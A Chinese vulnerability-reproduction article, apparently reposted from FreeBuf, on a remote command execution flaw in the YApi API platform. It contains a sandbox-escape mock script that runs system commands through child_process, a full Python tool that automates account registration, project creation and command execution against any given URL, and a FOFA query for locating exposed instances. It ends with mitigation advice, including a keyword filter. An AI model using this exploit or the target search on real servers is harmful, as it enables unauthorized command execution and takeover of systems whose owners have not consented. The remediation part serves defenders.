Yapi远程命令执行漏洞复现 – 作者:Counterattack

前言

Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。安全人员在Yapi官方Github仓库提交了漏洞issues,地址为: https://github.com/YMFE/yapi/issues/2233。

Yapi部署教程

使用Docker构建Yapi(Ubuntu环境)。

启动mongodb。

docker run -d --name mongo-yapi -p 27017:27017 mongo

获取 Yapi 镜像,版本信息可在 阿里云镜像仓库查看

docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi

自定义配置文件挂载到目录/api/config.json,宿主机/config/config.json   内容为以下代码:

{"port": "3000","adminAccount": "[email protected]","db": {"servername": "mongo-yapi","DATABASE": "yapi","port": 27017},"mail": {"enable": true,//邮件通知"host": "smtp.qq.com",//邮箱服务器"port": 465,"from": "[email protected]",//发件人邮箱"auth": {"user": "[email protected]",//邮箱服务器账号"pass": "123456"//邮箱服务器密码}}}

初始化Yapi数据库索引及管理员账号。

docker run -it --rm \-v /config/config.json:/api/config.json \--link mongo-yapi:mongo \--entrypoint npm \--workdir /api/vendors \registry.cn-hangzhou.aliyuncs.com/anoy/yapi \run install-server

启动Yapi服务。

docker run -d \-v /config/config.json:/api/config.json \--name yapi \--link mongo-yapi:mongo \--workdir /api/vendors \-p 3000:3000 \registry.cn-hangzhou.aliyuncs.com/anoy/yapi \server/app.js

访问http://localhost:3000登录账号[email protected],密码 123456。

漏洞利用

利用前提为Yapi开启了注册功能,打开靶机地址,注册一个账号。

1625723907_60e6940370987fd9e2771.png!small?1625723906771添加一个项目。

1625723925_60e694158c77f39ba6811.jpg!small?1625723931664

进入项目内添加一个接口。

1625723937_60e69421608ee6dad1d17.jpg!small?1625723936550

1625723945_60e6942957ca33db174aa.png!small?16257239445551625723951_60e6942f45e6a7eb3b927.jpg!small?1625723950588

点击高级Mock,并打开脚本页面,开启脚本,输入Mock脚本。

1625723967_60e6943f14affda07a96c.jpg!small?1625723966337

脚本内容:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

1625723990_60e694566f56e20446572.jpg!small?1625723989646

点击保存,打开预览界面。访问Mock地址即可执行命令。

1625724008_60e694683ad03ed699ff8.jpg!small?16257240075041625724016_60e6947013c8310826a67.png!small?1625724015942

可执行反弹Shell等操作。

FOFA搜索语句:icon_hash=”-715193973″

1625724026_60e6947ac35ef9263f3b0.jpg!small?1625724026043

检测脚本

该检测脚本为土司大佬:deep0n发布。

# -*- coding: utf-8 -*- import json import requests import argparse group_id = '' project_id = '' catid = '' flag=1 def reg(gurl): global flag url = gurl + "/api/user/reg" header = { 'Content-Type': 'application/json;charset=utf-8' } data = '{"email":"[email protected]","password":"zxcczxcc","username":"zxcc"}' rego = requests.post(url=url, headers=header, data=data) # print(rego.text) if str(400) in rego.text: flag = 0 session = requests.Session() def login(gurl): url = gurl + "/api/user/login" header = { 'Content-Type': 'application/json;charset=utf-8' } data = '{"email":"[email protected]","password":"zxcczxcc"}' logingo = session.post(url=url, headers=header, data=data) # print(logingo.text) # print(session.__dict__) def add(gurl): global group_id, project_id, catid header = { 'Content-Type': 'application/json;charset=utf-8' } turl = gurl + "/api/group/get_mygroup" t1 = session.get(url=turl) group_id = json.loads(t1.text)['data']['_id'] url1 = gurl + "/api/project/add" data1 = '{"name":"1","basepath":"/1","group_id":"' + str( group_id) + '","icon":"code-o","color":"green","project_type":"private"}' add1 = session.post(url=url1, headers=header, data=data1) turl2 = gurl + "/api/project/list?group_id=" + str(group_id) + "&page=1&limit=10" t2 = session.get(url=turl2) project_id = json.loads(t2.text)['data']['list'][0]['_id'] turl3 = gurl + "/api/interface/list_menu?project_id=" + str(project_id) + "" t3 = session.get(url=turl3) catid = json.loads(t3.text)['data'][0]['_id'] url2 = gurl + "/api/interface/add" data2 = '{"method":"GET","catid":"' + str(catid) + '","title":"1","path":"/1","project_id":' + str(project_id) + '}' # print(data1) add2 = session.post(url=url2, headers=header, data=data2) # print(add1.text) # print(add2.text) def run(gurl, exec): turl = gurl + "/api/interface/list?page=1&limit=20&project_id=" + str(project_id) + "" t1 = session.get(url=turl) interface_id = json.loads(t1.text)['data']['list'][0]['_id'] url = gurl + "/api/plugin/advmock/save" data = '''{"project_id":"''' + str(project_id) + '''","interface_id":"''' + str( interface_id) + '''","mock_script":"const sandbox = this\\nconst ObjectConstructor = this.constructor\\nconst FunctionConstructor = ObjectConstructor.constructor\\nconst myfun = FunctionConstructor('return process')\\nconst process = myfun()\\nmockJson = process.mainModule.require(\\"child_process\\").execSync(\\"''' + exec + '''\\").toString()","enable":true}''' header = { 'Content-Type': 'application/json;charset=utf-8' } cmd = session.post(url=url, data=data, headers=header) # print(cmd.text) result = requests.get(url=gurl + "/mock/" + str(project_id) + "/1/1") print(result.text) if __name__ == '__main__': parser = argparse.ArgumentParser(description="Yapi RCE , need register mode open") parser.add_argument('-u', '--url') parser.add_argument('-e', '--exec', default='whoami & ifconfig || ipconfig') args = parser.parse_args() gurl = str(args.url).rstrip('/') exec = args.exec if args.url : # print(gurl) reg(gurl) if flag: login(gurl) add(gurl) run(gurl, exec) else: print('Not support register !') else: print('Need The Target,please add -h / --help') # print(group_id, project_id, catid, '123')

修复建议

目前官方暂未针对该漏洞发布修复方案,请受影响的用户参考下列措施进行防护:

1、关闭YAPI用户注册功能

在 config.json 中添加以下配置项,禁止用户注册或启用LDAP认证:

{

  "closeRegister":true

}

修改完成后,重启 YAPI 服务生效。

2、关闭YAPI Mock功能

1)、在config.json中新增mock: false参数:

{ ... "mock": false, }

2)、在exts/yapi-plugin-andvanced-mock/server.js文件中找到:

if (caseData &&   caseData.case_enable) {...}

并添加下列代码:

if(!yapi.WEBCONFIG.mock) { return   false; }

3、对高级Mock功能进行关键字过滤

在/server/utils/commons.js文件中找到:

sandbox =   yapi.commons.sandbox(sandbox, script);

并添加下列代码:

const filter =   '/process|exec|require/g'; const reg = new RegExp(filter, "g");   if(reg.test(script)) { return false; }

4、对YAPI平台的访问进行限制

5、修改管理员默认账号口令,清除弱口令。

来源:freebuf.com 2021-07-08 14:02:18 by: Counterattack

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论